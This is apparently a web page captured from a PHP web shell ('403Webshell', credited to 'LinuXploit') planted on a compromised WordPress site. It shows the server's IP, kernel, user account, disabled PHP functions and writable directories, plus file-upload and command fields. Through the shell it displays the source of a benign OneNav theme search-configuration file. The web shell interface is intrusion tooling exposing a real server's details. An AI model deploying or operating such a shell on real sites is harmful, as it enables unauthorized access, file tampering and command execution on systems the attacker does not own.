403Webshell
Server IP : 119.36.225.67  /  Your IP : 43.174.71.198
Web Server : nginx/1.28.0
System : Linux 1763701629066 6.8.0-53-generic #55-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 17 15:37:52 UTC 2025 x86_64
User : www ( 1001)
PHP Version : 8.2.28
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/www.lengcat.cn/wp-content/themes/onenav/inc/configs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/www.lengcat.cn/wp-content/themes/onenav/inc/configs/config-search.php
<?php 
/*
 * @Author: iowen
 * @Author URI: https://www.iowen.cn/
 * @Date: 2021-08-30 14:41:57
 * @LastEditors: iowen
 * @LastEditTime: 2025-06-03 17:57:18
 * @FilePath: /onenav/inc/configs/config-search.php
 * @Description: 
 */
if ( ! defined( 'ABSPATH' )  ) { die; }
if (!is_admin()) return;
$prefix = 'io_search_list';
include get_theme_file_path('/inc/search-list.php');

IOCF::createOptions($prefix, array(
    'framework_title'    => '搜索源配置',
    'menu_title'         => '◉ 搜索源配置',
    'menu_slug'          => 'search_settings',
    'show_search'        => false,
    'show_reset_section' => false,
    'show_footer'        => false,
    'show_all_options'   => false,
    'show_sub_menu'      => false,
    'menu_icon'          => 'dashicons-search',
    'menu_type'          => 'submenu',
    'menu_parent'        => 'options-general.php',
    'show_bar_menu'      => false,
    'theme'              => 'light',
    'nav'                => 'inline',
    'footer_credit'      => '感谢您使用 <a href="https://www.iotheme.cn/" target="_blank">ioTheme</a> 的WordPress主题',
));

//
// 搜索设置
//
IOCF::createSection($prefix, array(
    'title'  => '默认搜索列表',
    'fields' => array(
        array(
            'content' => '<p><b>搜索引擎URL结构,比如:</b> https://www.baidu.com/s?wd=关键词 ,请填写 https://www.baidu.com/s?wd=%s% </p>
            <p><b>再比如:</b> https://xx.xxx.xx?wd=关键词.key ,其中<b>.key</b>为搜索引擎必须加的后缀,请填写 https://xx.xxx.xx?wd=%s%.key </p>
            <p>规则为:使用 <b>%s%</b> 替换搜索引擎URL的关键词位置</p>
            <br><i class="fa fa-fw fa-info-circle fa-fw"></i> 修改后如果前台不显示选单,请清空浏览器缓存,如果还是不显示,请检查“默认值”对应的 id 是否存在',
            'style'   => 'info',
            'type'    => 'submessage',
        ),
        io_get_search_list($search_list),
    )
));

/** 
 * 次级导航自定义搜索
 */
IOCF::createSection($prefix, array(
    'title'  => '次级导航自定义搜索',
    'fields' => array(
        array(
            'content' => '<i class="fa fa-fw fa-info-circle fa-fw"></i> 填写规则和“默认搜索列表”一致',
            'style'   => 'info',
            'type'    => 'submessage',
        ),
        array(
            'id'     => 'custom_search_list',
            'type'   => 'group',
            'fields' => array(
                array(
                    'id'    => 'search_list_id',
                    'type'  => 'text',
                    'title' => '简介',
                ),
                io_get_search_list(array(
                        array(
                            'name'    => '常用',
                            'id'      => 'group-1',
                            'default' => 'type-1',
                            'list'    => array(
                                array(
                                    'name'        => '百度',
                                    'id'          => 'type-1',
                                    'placeholder' => '百度',
                                    'url'         => 'https://www.baidu.com/s?wd=%s%'
                                )
                            )
                        )
                ), '搜索列表'),
            ),
            'default'                => array(
                array(
                    'search_list_id' => '我的搜索列表',
                    'search_list'    => $search_list
                )
            ),
            'class'                  => 'no-sort',
            'accordion_title_number' => true,
        ),
    )
));

/** 
 * 导入导出
 */
IOCF::createSection($prefix, array(
    'title'  => '导入导出',
    'fields' => array(
        // 备份
        array(
            'type'   => 'backup',
            'before' => '<i class="fa fa-fw fa-info-circle fa-fw"></i> 导出数据分享。'
        ),
    )
));

/**
 * Summary of io_get_search_list
 * @param mixed $default
 * @param mixed $title
 * @return array
 */
function io_get_search_list($default, $title = '') {
    $fields = array(
        'id'      => 'search_list',
        'type'    => 'group',
        'fields'  => array(
            array(
                'id'    => 'name',
                'type'  => 'text',
                'title' => '名称',
            ),
            array(
                'id'      => 'id',
                'type'    => 'text',
                'title'   => 'ID',
                'default' => 'group-',
                'class'   => 'compact min',
                'after'   => '<i class="fa fa-fw fa-info-circle fa-fw"></i> id 必须唯一,前缀必须是 <b>group-</b>'
            ),
            array(
                'id'    => 'default',
                'type'  => 'text',
                'title' => '默认值',
                'class' => 'compact min',
                'after' => '<i class="fa fa-fw fa-info-circle fa-fw"></i> 填写下方列表里的ID值'
            ),
            array(
                'id'     => 'list',
                'type'   => 'group',
                'title'  => '列表',
                'fields' => array(
                    array(
                        'id'    => 'name',
                        'type'  => 'text',
                        'title' => '名称',
                    ),
                    array(
                        'id'      => 'id',
                        'type'    => 'text',
                        'title'   => 'ID',
                        'class'   => 'compact min',
                        'default' => 'type-',
                        'after'   => '<i class="fa fa-fw fa-info-circle fa-fw"></i> id 必须唯一,前缀必须是 <b>type-</b>'
                    ),
                    array(
                        'id'    => 'placeholder',
                        'type'  => 'text',
                        'title' => '占位符',
                        'class' => 'compact min',
                    ),
                    array(
                        'id'         => 'url',
                        'type'       => 'text',
                        'title'      => 'URL地址',
                        'help'       => '使用 <b>%s%</b> 替换搜索引擎URL的关键词位置',
                        'class'      => 'compact min',
                        'attributes' => array(
                            'style' => 'width: 100%'
                        ),
                    ),
                ),
            ),
        ),
        'default' => $default
    );
    if ($title) {
        $fields['title'] = $title;
    }
    return $fields;
}

Youez - 2016 - github.com/yon3zu
LinuXploit